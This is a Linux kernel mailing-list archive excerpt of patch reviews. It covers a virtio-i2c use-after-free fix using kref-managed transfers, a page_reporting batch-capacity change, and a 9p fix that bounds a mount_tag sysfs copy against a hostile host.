* Re: [PATCH v4] i2c: virtio: retain xfer with kref to fix UAF on interrupted wait
From: Gavin Li @ 2026-06-10 16:02 UTC (permalink / raw)
To: Michael S. Tsirkin
Cc: linux-i2c, viresh.kumar, Chen, Jian Jun, andi.shyti,
virtualization
In-Reply-To: <20260610110532-mutt-send-email-mst@kernel.org>
Thanks for pointing that out.
The v5 patch fixes the DMA alignment. I've tested it with
CONFIG_DMA_API_DEBUG=y and CONFIG_DMA_API_DEBUG_SG=y
and everything seems to be working with no log warnings.
On Wed, Jun 10, 2026 at 11:08 AM Michael S. Tsirkin <mst@redhat.com> wrote:
>
> On Wed, Jun 10, 2026 at 11:02:32AM -0400, Gavin Li wrote:
> > commit a663b3c47ab1 ("i2c: virtio: Avoid hang by using interruptible
> > completion wait") switched virtio_i2c_complete_reqs() to
> > wait_for_completion_interruptible() so a stuck device cannot hang a
> > task forever. That left a use-after-free: if the wait returns early on
> > a signal, virtio_i2c_xfer() frees reqs and DMA bounce buffers while the
> > device may still hold virtqueue tokens pointing at &reqs[i] and DMA
> > into read buffers. When those requests complete later,
> > virtio_i2c_msg_done() calls complete() on freed memory.
> >
> > Waiting uninterruptibly for every completion before freeing avoids the
> > UAF but can hang the caller indefinitely if the virtio side never
> > completes the request. Performing a queue reset / device reset is
> > possible in this scenario, but adds complexity.
> >
> > This commit manages the freeing of the xfer allocations via kref, and
> > ensures that each in-flight request holds a reference. This fixes the
> > use-after-free by ensuring that the virtio device has a valid location
> > to write to until the request completes. This will cause a memory leak
> > in cases where the device hangs, but that is much preferable to memory
> > corruption.
> >
> > Additionally, force usage of a bounce buffer even if the i2c_msg buf is
> > DMA-safe, since the buffer passed to the virtqueue must remain valid
> > even if the transfer is interrupted. Remove usage of
> > i2c_get_dma_safe_msg_buf() since it may pass through msg->buf directly.
> > All bounce buffers are part of the single xfer allocation, so there is
> > no additional allocation overhead.
> >
> > Signed-off-by: Gavin Li <gavin.li@samsara.com>
> >
> > ---
> >
> > Changes in v4:
> > - Pack bounce buffers into a single allocation after reqs[]
> > - Remove per-request buf pointer and xfer->num
> > - Remove req.msg, track message direction with req->read
> > - Simplify xfer release to a single kfree()
> > - Restore using j to track successful transfers in _complete_xfer()
> > ---
> > drivers/i2c/busses/i2c-virtio.c | 121 +++++++++++++++++++++++++-------
> > 1 file changed, 94 insertions(+), 27 deletions(-)
> >
> > diff --git a/drivers/i2c/busses/i2c-virtio.c b/drivers/i2c/busses/i2c-virtio.c
> > index 5da6fef92bec3..33b469ca39d4b 100644
> > --- a/drivers/i2c/busses/i2c-virtio.c
> > +++ b/drivers/i2c/busses/i2c-virtio.c
> > @@ -13,7 +13,9 @@
> > #include <linux/err.h>
> > #include <linux/i2c.h>
> > #include <linux/kernel.h>
> > +#include <linux/kref.h>
> > #include <linux/module.h>
> > +#include <linux/overflow.h>
> > #include <linux/virtio.h>
> > #include <linux/virtio_ids.h>
> > #include <linux/virtio_config.h>
> > @@ -31,39 +33,74 @@ struct virtio_i2c {
> > struct virtqueue *vq;
> > };
> >
> > +struct virtio_i2c_xfer;
> > +
> > /**
> > * struct virtio_i2c_req - the virtio I2C request structure
> > + * @xfer: owning transfer
> > * @completion: completion of virtio I2C message
> > + * @read: true if this is a read message (I2C_M_RD is set)
> > * @out_hdr: the OUT header of the virtio I2C message
> > - * @buf: the buffer into which data is read, or from which it's written
> > * @in_hdr: the IN header of the virtio I2C message
> > */
> > struct virtio_i2c_req {
> > + struct virtio_i2c_xfer *xfer;
> > struct completion completion;
> > + bool read;
> > struct virtio_i2c_out_hdr out_hdr ____cacheline_aligned;
> > - uint8_t *buf ____cacheline_aligned;
> > struct virtio_i2c_in_hdr in_hdr ____cacheline_aligned;
> > };
> >
> > +/**
> > + * struct virtio_i2c_xfer - a queued I2C transfer
> > + * @ref: one ref for the caller, plus one per in-flight virtqueue request
> > + * @bounce_buf_base: start of bounce buffer region
> > + * @reqs: the virtio I2C requests
> > + *
> > + * Allocation layout:
> > + * - struct virtio_i2c_xfer xfer
> > + * - struct virtio_i2c_req reqs[num]
> > + * - u8 bounce_buf[msgs[0].len]
> > + * ...
> > + * - u8 bounce_buf[msgs[num-1].len]
>
> You seems to be ignoring DMA alignment requirements here.
> Did you try running with DMA debugging enabled?
>
>
> > + */
> > +struct virtio_i2c_xfer {
> > + struct kref ref;
> > + u8 *bounce_buf_base;
> > + struct virtio_i2c_req reqs[];
> > +};
> > +
> > +static void virtio_i2c_xfer_release(struct kref *ref)
> > +{
> > + struct virtio_i2c_xfer *xfer = container_of(ref, struct virtio_i2c_xfer, ref);
> > + kfree(xfer);
> > +}
> > +
> > static void virtio_i2c_msg_done(struct virtqueue *vq)
> > {
> > struct virtio_i2c_req *req;
> > unsigned int len;
> >
> > - while ((req = virtqueue_get_buf(vq, &len)))
> > + while ((req = virtqueue_get_buf(vq, &len))) {
> > complete(&req->completion);
> > + kref_put(&req->xfer->ref, virtio_i2c_xfer_release);
> > + }
> > }
> >
> > -static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> > - struct virtio_i2c_req *reqs,
> > +static int virtio_i2c_prepare_xfer(struct virtqueue *vq,
> > + struct virtio_i2c_xfer *xfer,
> > struct i2c_msg *msgs, int num)
> > {
> > struct scatterlist *sgs[3], out_hdr, msg_buf, in_hdr;
> > + struct virtio_i2c_req *reqs = xfer->reqs;
> > + u8 *bounce_buf = xfer->bounce_buf_base;
> > int i;
> >
> > for (i = 0; i < num; i++) {
> > int outcnt = 0, incnt = 0;
> >
> > + reqs[i].xfer = xfer;
> > + reqs[i].read = !!(msgs[i].flags & I2C_M_RD);
> > init_completion(&reqs[i].completion);
> >
> > /*
> > @@ -82,23 +119,31 @@ static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> > sgs[outcnt++] = &out_hdr;
> >
> > if (msgs[i].len) {
> > - reqs[i].buf = i2c_get_dma_safe_msg_buf(&msgs[i], 1);
> > - if (!reqs[i].buf)
> > - break;
> > + /*
> > + * Even if msg->flags has I2C_M_DMA_SAFE set, a bounce
> > + * buffer is required because the transfer may be
> > + * interrupted, after which msg->buf is no longer valid.
> > + */
> > + if (!(msgs[i].flags & I2C_M_RD))
> > + memcpy(bounce_buf, msgs[i].buf, msgs[i].len);
> >
> > - sg_init_one(&msg_buf, reqs[i].buf, msgs[i].len);
> > + sg_init_one(&msg_buf, bounce_buf, msgs[i].len);
> >
> > if (msgs[i].flags & I2C_M_RD)
> > sgs[outcnt + incnt++] = &msg_buf;
> > else
> > sgs[outcnt++] = &msg_buf;
> > }
> > + bounce_buf += msgs[i].len;
> >
> > sg_init_one(&in_hdr, &reqs[i].in_hdr, sizeof(reqs[i].in_hdr));
> > sgs[outcnt + incnt++] = &in_hdr;
> >
> > + /* This reference is released in virtio_i2c_msg_done(). */
> > + kref_get(&xfer->ref);
> > +
> > if (virtqueue_add_sgs(vq, sgs, outcnt, incnt, &reqs[i], GFP_KERNEL)) {
> > - i2c_put_dma_safe_msg_buf(reqs[i].buf, &msgs[i], false);
> > + kref_put(&xfer->ref, virtio_i2c_xfer_release);
> > break;
> > }
> > }
> > @@ -106,26 +151,38 @@ static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> > return i;
> > }
> >
> > -static int virtio_i2c_complete_reqs(struct virtqueue *vq,
> > - struct virtio_i2c_req *reqs,
> > - struct i2c_msg *msgs, int num)
> > +static int virtio_i2c_complete_xfer(struct virtio_i2c_xfer *xfer,
> > + struct i2c_msg *msgs,
> > + int num)
> > {
> > + struct virtio_i2c_req *reqs = xfer->reqs;
> > + u8 *bounce_buf = xfer->bounce_buf_base;
> > bool failed = false;
> > int i, j = 0;
> >
> > for (i = 0; i < num; i++) {
> > struct virtio_i2c_req *req = &reqs[i];
> > + struct i2c_msg *msg = &msgs[i];
> > +
> > + if (wait_for_completion_interruptible(&req->completion))
> > + return -EINTR;
> > +
> > + if (req->in_hdr.status != VIRTIO_I2C_MSG_OK) {
> > + /*
> > + * Don't break yet. Try to wait until all requests
> > + * complete to ensure that the virtqueue has enough
> > + * descriptor slots for the next transfer.
> > + */
> > + failed = true;
> > + }
> >
> > if (!failed) {
> > - if (wait_for_completion_interruptible(&req->completion))
> > - failed = true;
> > - else if (req->in_hdr.status != VIRTIO_I2C_MSG_OK)
> > - failed = true;
> > - else
> > - j++;
> > + if (req->read)
> > + memcpy(msg->buf, bounce_buf, msg->len);
> > + j++;
> > }
> >
> > - i2c_put_dma_safe_msg_buf(reqs[i].buf, &msgs[i], !failed);
> > + bounce_buf += msg->len;
> > }
> >
> > return j;
> > @@ -136,14 +193,24 @@ static int virtio_i2c_xfer(struct i2c_adapter *adap, struct i2c_msg *msgs,
> > {
> > struct virtio_i2c *vi = i2c_get_adapdata(adap);
> > struct virtqueue *vq = vi->vq;
> > - struct virtio_i2c_req *reqs;
> > - int count;
> > + struct virtio_i2c_xfer *xfer;
> > + size_t alloc_size;
> > + int i, count;
> >
> > - reqs = kzalloc_objs(*reqs, num);
> > - if (!reqs)
> > + alloc_size = struct_size(xfer, reqs, num);
> > + for (i = 0; i < num; i++) {
> > + if (check_add_overflow(alloc_size, msgs[i].len, &alloc_size))
> > + return -EOVERFLOW;
> > + }
> > +
> > + xfer = kzalloc(alloc_size, GFP_KERNEL);
> > + if (!xfer)
> > return -ENOMEM;
> >
> > - count = virtio_i2c_prepare_reqs(vq, reqs, msgs, num);
> > + kref_init(&xfer->ref);
> > + xfer->bounce_buf_base = (u8 *)(xfer->reqs + num);
> > +
> > + count = virtio_i2c_prepare_xfer(vq, xfer, msgs, num);
> > if (!count)
> > goto err_free;
> >
> > @@ -157,10 +224,10 @@ static int virtio_i2c_xfer(struct i2c_adapter *adap, struct i2c_msg *msgs,
> > */
> > virtqueue_kick(vq);
> >
> > - count = virtio_i2c_complete_reqs(vq, reqs, msgs, count);
> > + count = virtio_i2c_complete_xfer(xfer, msgs, count);
> >
> > err_free:
> > - kfree(reqs);
> > + kref_put(&xfer->ref, virtio_i2c_xfer_release);
> > return count;
> > }
> >
> > --
> > 2.54.0
>
^ permalink raw reply
* Re: [PATCH v5] i2c: virtio: retain xfer with kref to fix UAF on interrupted wait
From: Michael S. Tsirkin @ 2026-06-10 16:07 UTC (permalink / raw)
To: Gavin Li
Cc: linux-i2c, viresh.kumar, Chen, Jian Jun, andi.shyti,
virtualization
In-Reply-To: <20260610155834.79207-1-gavin.li@samsara.com>
On Wed, Jun 10, 2026 at 11:58:34AM -0400, Gavin Li wrote:
> commit a663b3c47ab1 ("i2c: virtio: Avoid hang by using interruptible
> completion wait") switched virtio_i2c_complete_reqs() to
> wait_for_completion_interruptible() so a stuck device cannot hang a
> task forever. That left a use-after-free: if the wait returns early on
> a signal, virtio_i2c_xfer() frees reqs and DMA bounce buffers while the
> device may still hold virtqueue tokens pointing at &reqs[i] and DMA
> into read buffers. When those requests complete later,
> virtio_i2c_msg_done() calls complete() on freed memory.
>
> Waiting uninterruptibly for every completion before freeing avoids the
> UAF but can hang the caller indefinitely if the virtio side never
> completes the request. Performing a queue reset / device reset is
> possible in this scenario, but adds complexity.
>
> This commit manages the freeing of the xfer allocations via kref, and
> ensures that each in-flight request holds a reference. This fixes the
> use-after-free by ensuring that the virtio device has a valid location
> to write to until the request completes. This will cause a memory leak
> in cases where the device hangs, but that is much preferable to memory
> corruption.
>
> Additionally, force usage of a bounce buffer even if the i2c_msg buf is
> DMA-safe, since the buffer passed to the virtqueue must remain valid
> even if the transfer is interrupted. Remove usage of
> i2c_get_dma_safe_msg_buf() since it may pass through msg->buf directly.
> All bounce buffers are part of the single xfer allocation, so there is
> no additional allocation overhead.
>
> Signed-off-by: Gavin Li <gavin.li@samsara.com>
But maybe, if queue reset is supported, we could use that?
Is that problematic?
And maybe fallback on device reset on interrupt even?
> ---
>
> Changes in v5:
> - DMA-align all bounce buffers
>
> Changes in v4:
> - Pack bounce buffers into a single allocation after reqs[]
> - Remove per-request buf pointer and xfer->num
> - Remove req.msg, track message direction with req->read
> - Simplify xfer release to a single kfree()
> - Restore using j to track successful transfers in _complete_xfer()
> ---
> drivers/i2c/busses/i2c-virtio.c | 135 +++++++++++++++++++++++++-------
> 1 file changed, 108 insertions(+), 27 deletions(-)
>
> diff --git a/drivers/i2c/busses/i2c-virtio.c b/drivers/i2c/busses/i2c-virtio.c
> index 5da6fef92bec3..a5602865102d9 100644
> --- a/drivers/i2c/busses/i2c-virtio.c
> +++ b/drivers/i2c/busses/i2c-virtio.c
> @@ -10,10 +10,13 @@
>
> #include <linux/acpi.h>
> #include <linux/completion.h>
> +#include <linux/dma-mapping.h>
> #include <linux/err.h>
> #include <linux/i2c.h>
> #include <linux/kernel.h>
> +#include <linux/kref.h>
> #include <linux/module.h>
> +#include <linux/overflow.h>
> #include <linux/virtio.h>
> #include <linux/virtio_ids.h>
> #include <linux/virtio_config.h>
> @@ -31,39 +34,80 @@ struct virtio_i2c {
> struct virtqueue *vq;
> };
>
> +struct virtio_i2c_xfer;
> +
> /**
> * struct virtio_i2c_req - the virtio I2C request structure
> + * @xfer: owning transfer
> * @completion: completion of virtio I2C message
> + * @read: true if this is a read message (I2C_M_RD is set)
> * @out_hdr: the OUT header of the virtio I2C message
> - * @buf: the buffer into which data is read, or from which it's written
> * @in_hdr: the IN header of the virtio I2C message
> */
> struct virtio_i2c_req {
> + struct virtio_i2c_xfer *xfer;
> struct completion completion;
> + bool read;
> struct virtio_i2c_out_hdr out_hdr ____cacheline_aligned;
> - uint8_t *buf ____cacheline_aligned;
> struct virtio_i2c_in_hdr in_hdr ____cacheline_aligned;
> };
>
> +/**
> + * struct virtio_i2c_xfer - a queued I2C transfer
> + * @ref: one ref for the caller, plus one per in-flight virtqueue request
> + * @bounce_buf_base: start of bounce buffer region
> + * @reqs: the virtio I2C requests
> + *
> + * Allocation layout:
> + * - struct virtio_i2c_xfer xfer
> + * - struct virtio_i2c_req reqs[num]
> + * - padding to dma_get_cache_alignment()
> + * - u8 bounce_buf[virtio_i2c_bounce_size(msgs[0].len)]
> + * ...
> + * - u8 bounce_buf[virtio_i2c_bounce_size(msgs[num-1].len)]
> + */
> +struct virtio_i2c_xfer {
> + struct kref ref;
> + u8 *bounce_buf_base;
> + struct virtio_i2c_req reqs[];
> +};
> +
> +static size_t virtio_i2c_bounce_size(unsigned int len)
> +{
> + return ALIGN(len, dma_get_cache_alignment());
> +}
> +
> +static void virtio_i2c_xfer_release(struct kref *ref)
> +{
> + struct virtio_i2c_xfer *xfer = container_of(ref, struct virtio_i2c_xfer, ref);
> + kfree(xfer);
> +}
> +
> static void virtio_i2c_msg_done(struct virtqueue *vq)
> {
> struct virtio_i2c_req *req;
> unsigned int len;
>
> - while ((req = virtqueue_get_buf(vq, &len)))
> + while ((req = virtqueue_get_buf(vq, &len))) {
> complete(&req->completion);
> + kref_put(&req->xfer->ref, virtio_i2c_xfer_release);
> + }
> }
>
> -static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> - struct virtio_i2c_req *reqs,
> +static int virtio_i2c_prepare_xfer(struct virtqueue *vq,
> + struct virtio_i2c_xfer *xfer,
> struct i2c_msg *msgs, int num)
> {
> struct scatterlist *sgs[3], out_hdr, msg_buf, in_hdr;
> + struct virtio_i2c_req *reqs = xfer->reqs;
> + u8 *bounce_buf = xfer->bounce_buf_base;
> int i;
>
> for (i = 0; i < num; i++) {
> int outcnt = 0, incnt = 0;
>
> + reqs[i].xfer = xfer;
> + reqs[i].read = !!(msgs[i].flags & I2C_M_RD);
> init_completion(&reqs[i].completion);
>
> /*
> @@ -82,23 +126,31 @@ static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> sgs[outcnt++] = &out_hdr;
>
> if (msgs[i].len) {
> - reqs[i].buf = i2c_get_dma_safe_msg_buf(&msgs[i], 1);
> - if (!reqs[i].buf)
> - break;
> + /*
> + * Even if msg->flags has I2C_M_DMA_SAFE set, a bounce
> + * buffer is required because the transfer may be
> + * interrupted, after which msg->buf is no longer valid.
> + */
> + if (!(msgs[i].flags & I2C_M_RD))
> + memcpy(bounce_buf, msgs[i].buf, msgs[i].len);
>
> - sg_init_one(&msg_buf, reqs[i].buf, msgs[i].len);
> + sg_init_one(&msg_buf, bounce_buf, msgs[i].len);
>
> if (msgs[i].flags & I2C_M_RD)
> sgs[outcnt + incnt++] = &msg_buf;
> else
> sgs[outcnt++] = &msg_buf;
> }
> + bounce_buf += virtio_i2c_bounce_size(msgs[i].len);
>
> sg_init_one(&in_hdr, &reqs[i].in_hdr, sizeof(reqs[i].in_hdr));
> sgs[outcnt + incnt++] = &in_hdr;
>
> + /* This reference is released in virtio_i2c_msg_done(). */
> + kref_get(&xfer->ref);
> +
> if (virtqueue_add_sgs(vq, sgs, outcnt, incnt, &reqs[i], GFP_KERNEL)) {
> - i2c_put_dma_safe_msg_buf(reqs[i].buf, &msgs[i], false);
> + kref_put(&xfer->ref, virtio_i2c_xfer_release);
> break;
> }
> }
> @@ -106,26 +158,38 @@ static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> return i;
> }
>
> -static int virtio_i2c_complete_reqs(struct virtqueue *vq,
> - struct virtio_i2c_req *reqs,
> - struct i2c_msg *msgs, int num)
> +static int virtio_i2c_complete_xfer(struct virtio_i2c_xfer *xfer,
> + struct i2c_msg *msgs,
> + int num)
> {
> + struct virtio_i2c_req *reqs = xfer->reqs;
> + u8 *bounce_buf = xfer->bounce_buf_base;
> bool failed = false;
> int i, j = 0;
>
> for (i = 0; i < num; i++) {
> struct virtio_i2c_req *req = &reqs[i];
> + struct i2c_msg *msg = &msgs[i];
> +
> + if (wait_for_completion_interruptible(&req->completion))
> + return -EINTR;
> +
> + if (req->in_hdr.status != VIRTIO_I2C_MSG_OK) {
> + /*
> + * Don't break yet. Try to wait until all requests
> + * complete to ensure that the virtqueue has enough
> + * descriptor slots for the next transfer.
> + */
> + failed = true;
> + }
>
> if (!failed) {
> - if (wait_for_completion_interruptible(&req->completion))
> - failed = true;
> - else if (req->in_hdr.status != VIRTIO_I2C_MSG_OK)
> - failed = true;
> - else
> - j++;
> + if (req->read)
> + memcpy(msg->buf, bounce_buf, msg->len);
> + j++;
> }
>
> - i2c_put_dma_safe_msg_buf(reqs[i].buf, &msgs[i], !failed);
> + bounce_buf += virtio_i2c_bounce_size(msg->len);
> }
>
> return j;
> @@ -136,14 +200,31 @@ static int virtio_i2c_xfer(struct i2c_adapter *adap, struct i2c_msg *msgs,
> {
> struct virtio_i2c *vi = i2c_get_adapdata(adap);
> struct virtqueue *vq = vi->vq;
> - struct virtio_i2c_req *reqs;
> - int count;
> + struct virtio_i2c_xfer *xfer;
> + size_t alloc_size;
> + int i, count;
> +
> + alloc_size = struct_size(xfer, reqs, num);
> + if (check_add_overflow(alloc_size,
> + dma_get_cache_alignment() - 1,
> + &alloc_size)) /* padding for PTR_ALIGN() */
> + return -EOVERFLOW;
> + for (i = 0; i < num; i++) {
> + if (check_add_overflow(alloc_size,
> + virtio_i2c_bounce_size(msgs[i].len),
> + &alloc_size))
> + return -EOVERFLOW;
> + }
>
> - reqs = kzalloc_objs(*reqs, num);
> - if (!reqs)
> + xfer = kzalloc(alloc_size, GFP_KERNEL);
> + if (!xfer)
> return -ENOMEM;
>
> - count = virtio_i2c_prepare_reqs(vq, reqs, msgs, num);
> + kref_init(&xfer->ref);
> + xfer->bounce_buf_base = PTR_ALIGN((u8 *)(xfer->reqs + num),
> + dma_get_cache_alignment());
> +
> + count = virtio_i2c_prepare_xfer(vq, xfer, msgs, num);
> if (!count)
> goto err_free;
>
> @@ -157,10 +238,10 @@ static int virtio_i2c_xfer(struct i2c_adapter *adap, struct i2c_msg *msgs,
> */
> virtqueue_kick(vq);
>
> - count = virtio_i2c_complete_reqs(vq, reqs, msgs, count);
> + count = virtio_i2c_complete_xfer(xfer, msgs, count);
>
> err_free:
> - kfree(reqs);
> + kref_put(&xfer->ref, virtio_i2c_xfer_release);
> return count;
> }
>
> --
> 2.54.0
^ permalink raw reply
* Re: [PATCH v2] mm: page_reporting: allow driver to set batch capacity
From: Zi Yan @ 2026-06-10 16:21 UTC (permalink / raw)
To: Michael S. Tsirkin
Cc: linux-kernel, Miaohe Lin, David Hildenbrand (Arm), Jason Wang,
Xuan Zhuo, Eugenio Perez, Muchun Song, Oscar Salvador,
Andrew Morton, Lorenzo Stoakes, Liam R. Howlett, Vlastimil Babka,
Mike Rapoport, Suren Baghdasaryan, Michal Hocko, Brendan Jackman,
Johannes Weiner, Baolin Wang, Nico Pache, Ryan Roberts, Dev Jain,
Barry Song, Lance Yang, Hugh Dickins, Matthew Brost, Joshua Hahn,
Rakie Kim, Byungchul Park, Gregory Price, Ying Huang,
Alistair Popple, Christoph Lameter, David Rientjes,
Roman Gushchin, Harry Yoo, Axel Rasmussen, Yuanchu Xie, Wei Xu,
Chris Li, Kairui Song, Kemeng Shi, Nhat Pham, Baoquan He,
virtualization, linux-mm, Andrea Arcangeli, Naoya Horiguchi,
Alexander Duyck
In-Reply-To: <cb43adc61d2ed3069b2fe428f3e051dbdc4cc28d.1781097156.git.mst@redhat.com>
On 10 Jun 2026, at 9:17, Michael S. Tsirkin wrote:
> At the moment, if a virtio balloon device has a page reporting vq but
> its size is < PAGE_REPORTING_CAPACITY (32), the balloon driver fails
> probe.
>
> But, there's no way for host to know this value, so it can easily
> create a smaller vq and suddenly adding the reporting capability
> to the device makes all of the driver fail. Not pretty.
>
> Add a capacity field to page_reporting_dev_info so drivers can
> control the maximum number of pages per report batch.
>
> In virtio-balloon, set the capacity to the reporting virtqueue size,
> letting page_reporting adapt to whatever the device provides.
>
> Capacity need not be a power of two. Code previously called out
> division by PAGE_REPORTING_CAPACITY as cheap since it was a power
> of 2, but no performance difference was observed with non-power-of-2
> values.
>
> If capacity is 0 or exceeds PAGE_REPORTING_CAPACITY, it defaults
> to PAGE_REPORTING_CAPACITY. The 0 check and the clamping is done in
> page_reporting_register(), before the reporting work is scheduled,
> so we never get division by 0.
>
> Fixes: b0c504f15471 ("virtio-balloon: add support for providing free page reports to host")
> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> Assisted-by: Claude:claude-opus-4-6
> ---
> Changes v1->v2:
> - Document capacity=0 as default in commit log
> - Document that capacity need not be a power of two
> - Drop unnecessary comment about integer division cost
> - Update comment on capacity field: "0 (default) means PAGE_REPORTING_CAPACITY"
>
> drivers/virtio/virtio_balloon.c | 5 +----
> include/linux/page_reporting.h | 3 +++
> mm/page_reporting.c | 24 ++++++++++++------------
> 3 files changed, 16 insertions(+), 16 deletions(-)
>
LGTM. With David's concern addressed, feel free to add:
Acked-by: Zi Yan <ziy@nvidia.com>
--
Best Regards,
Yan, Zi
^ permalink raw reply
* Re: [PATCH] 9p/trans_virtio: bound mount_tag show copy to one page
From: Christian Schoenebeck @ 2026-06-10 15:46 UTC (permalink / raw)
To: Eric Van Hensbergen, Latchesar Ionkov, Dominique Martinet,
Michael Bommarito
Cc: v9fs, virtualization, linux-kernel, stable
In-Reply-To: <20260610114206.3749904-1-michael.bommarito@gmail.com>
On Wednesday, 10 June 2026 13:42:06 CEST Michael Bommarito wrote:
> p9_mount_tag_show() copies strlen(chan->tag) + 1 bytes into the
> single-page buffer the sysfs core provides, with no upper bound. The
> mount tag length comes from virtio_9p_config.tag_len, a 16-bit field read
> from the device at probe in p9_virtio_probe() with no cap. Under the
> confidential-computing threat model, where the guest does not trust the
> host, a malicious or compromised host can present a 65535-byte tag with
> no embedded NUL. A read of the world-readable /sys/.../mount_tag
> attribute (udev reads it at probe) then copies ~64 KiB into the 4 KiB
> sysfs page, a slab-out-of-bounds write of host-controlled content.
>
> Bound the copy to the page size in the show handler.
>
> Fixes: 179a5bc4b8cb ("net/9p: use memcpy() instead of snprintf() in
> p9_mount_tag_show()") Cc: stable@vger.kernel.org
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Michael Bommarito <michael.bommarito@gmail.com>
> ---
> net/9p/trans_virtio.c | 6 +++++-
> 1 file changed, 5 insertions(+), 1 deletion(-)
>
> diff --git a/net/9p/trans_virtio.c b/net/9p/trans_virtio.c
> index 4cdab7094b273..b62aa7b309f1c 100644
> --- a/net/9p/trans_virtio.c
> +++ b/net/9p/trans_virtio.c
> @@ -573,7 +573,11 @@ static ssize_t p9_mount_tag_show(struct device *dev,
> chan = vdev->priv;
> tag_len = strlen(chan->tag);
>
> - memcpy(buf, chan->tag, tag_len + 1);
> + if (tag_len > PAGE_SIZE - 2)
> + tag_len = PAGE_SIZE - 2;
> +
> + memcpy(buf, chan->tag, tag_len);
> + buf[tag_len] = '\0';
>
> return tag_len + 1;
> }
Given that this has already seen some rotations, it is worth to think a bit
more about it:
1. Destination buffer being PAGE_SIZE large is an implementation detail of
seq_file. If the latter is changed, this code breaks (again) silently without
anybody noticing.
2. memcpy() was introduced by 179a5bc4b8cb because chan->tag was not NULL
terminated. However since edcd9d977354 it *is* NULL terminated.
Given those two, an alternative would be:
len = sysfs_emit(buf, "%s", chan->tag);
As it already handles the PAGE_SIZE limit inside its implementation.
However, still ...
3. Is it a good idea to just *silenty* truncate a very long tag to something
else just to avoid an OOB? It would at least break auto mount rules, as the
truncated tag would not match device's real tag.
4. And most importantly: Would a sane 9p device *ever* use a 64k tag, if yes
what for?
I would say no, a 64k tag is at least suspicious, if not even hostile.
Therefore: what about simply rejecting the device at probe time if its tag is
beyond a certain length?
/Christian
^ permalink raw reply
* Re: [PATCH v5] i2c: virtio: retain xfer with kref to fix UAF on interrupted wait
From: Gavin Li @ 2026-06-10 16:32 UTC (permalink / raw)
To: Michael S. Tsirkin
Cc: linux-i2c, viresh.kumar, Chen, Jian Jun, andi.shyti,
virtualization
In-Reply-To: <20260610120606-mutt-send-email-mst@kernel.org>
On qemu, queue reset is only supported by virtio-net. If a queue reset
is requested, the vhost backend is never notified, and as a result it's
still at the device's discretion to write to the potentially freed buffer.
As for device reset, I really don't want to initiate a device reset just
because a userspace process was signaled (it seems a little extreme).
I can implement this if you think it is the best path forward.
Compared to the original patch of making the wait uninterruptible,
I feel like this patch has become much larger than I originally wanted.
The commit a663b3c47ab1 ("i2c: virtio: Avoid hang by using interruptible
completion wait") that introduced the UAF mentioned that it was originally
done because a transfer could hang, but IMO this should really be fixed
in the vhost backend rather than in the driver, mostly since virtio-i2c
doesn't provide a way to cancel an in-flight request.
On Wed, Jun 10, 2026 at 12:07 PM Michael S. Tsirkin <mst@redhat.com> wrote:
>
> On Wed, Jun 10, 2026 at 11:58:34AM -0400, Gavin Li wrote:
> > commit a663b3c47ab1 ("i2c: virtio: Avoid hang by using interruptible
> > completion wait") switched virtio_i2c_complete_reqs() to
> > wait_for_completion_interruptible() so a stuck device cannot hang a
> > task forever. That left a use-after-free: if the wait returns early on
> > a signal, virtio_i2c_xfer() frees reqs and DMA bounce buffers while the
> > device may still hold virtqueue tokens pointing at &reqs[i] and DMA
> > into read buffers. When those requests complete later,
> > virtio_i2c_msg_done() calls complete() on freed memory.
> >
> > Waiting uninterruptibly for every completion before freeing avoids the
> > UAF but can hang the caller indefinitely if the virtio side never
> > completes the request. Performing a queue reset / device reset is
> > possible in this scenario, but adds complexity.
> >
> > This commit manages the freeing of the xfer allocations via kref, and
> > ensures that each in-flight request holds a reference. This fixes the
> > use-after-free by ensuring that the virtio device has a valid location
> > to write to until the request completes. This will cause a memory leak
> > in cases where the device hangs, but that is much preferable to memory
> > corruption.
> >
> > Additionally, force usage of a bounce buffer even if the i2c_msg buf is
> > DMA-safe, since the buffer passed to the virtqueue must remain valid
> > even if the transfer is interrupted. Remove usage of
> > i2c_get_dma_safe_msg_buf() since it may pass through msg->buf directly.
> > All bounce buffers are part of the single xfer allocation, so there is
> > no additional allocation overhead.
> >
> > Signed-off-by: Gavin Li <gavin.li@samsara.com>
>
> But maybe, if queue reset is supported, we could use that?
>
> Is that problematic?
>
>
> And maybe fallback on device reset on interrupt even?
>
> > ---
> >
> > Changes in v5:
> > - DMA-align all bounce buffers
> >
> > Changes in v4:
> > - Pack bounce buffers into a single allocation after reqs[]
> > - Remove per-request buf pointer and xfer->num
> > - Remove req.msg, track message direction with req->read
> > - Simplify xfer release to a single kfree()
> > - Restore using j to track successful transfers in _complete_xfer()
> > ---
> > drivers/i2c/busses/i2c-virtio.c | 135 +++++++++++++++++++++++++-------
> > 1 file changed, 108 insertions(+), 27 deletions(-)
> >
> > diff --git a/drivers/i2c/busses/i2c-virtio.c b/drivers/i2c/busses/i2c-virtio.c
> > index 5da6fef92bec3..a5602865102d9 100644
> > --- a/drivers/i2c/busses/i2c-virtio.c
> > +++ b/drivers/i2c/busses/i2c-virtio.c
> > @@ -10,10 +10,13 @@
> >
> > #include <linux/acpi.h>
> > #include <linux/completion.h>
> > +#include <linux/dma-mapping.h>
> > #include <linux/err.h>
> > #include <linux/i2c.h>
> > #include <linux/kernel.h>
> > +#include <linux/kref.h>
> > #include <linux/module.h>
> > +#include <linux/overflow.h>
> > #include <linux/virtio.h>
> > #include <linux/virtio_ids.h>
> > #include <linux/virtio_config.h>
> > @@ -31,39 +34,80 @@ struct virtio_i2c {
> > struct virtqueue *vq;
> > };
> >
> > +struct virtio_i2c_xfer;
> > +
> > /**
> > * struct virtio_i2c_req - the virtio I2C request structure
> > + * @xfer: owning transfer
> > * @completion: completion of virtio I2C message
> > + * @read: true if this is a read message (I2C_M_RD is set)
> > * @out_hdr: the OUT header of the virtio I2C message
> > - * @buf: the buffer into which data is read, or from which it's written
> > * @in_hdr: the IN header of the virtio I2C message
> > */
> > struct virtio_i2c_req {
> > + struct virtio_i2c_xfer *xfer;
> > struct completion completion;
> > + bool read;
> > struct virtio_i2c_out_hdr out_hdr ____cacheline_aligned;
> > - uint8_t *buf ____cacheline_aligned;
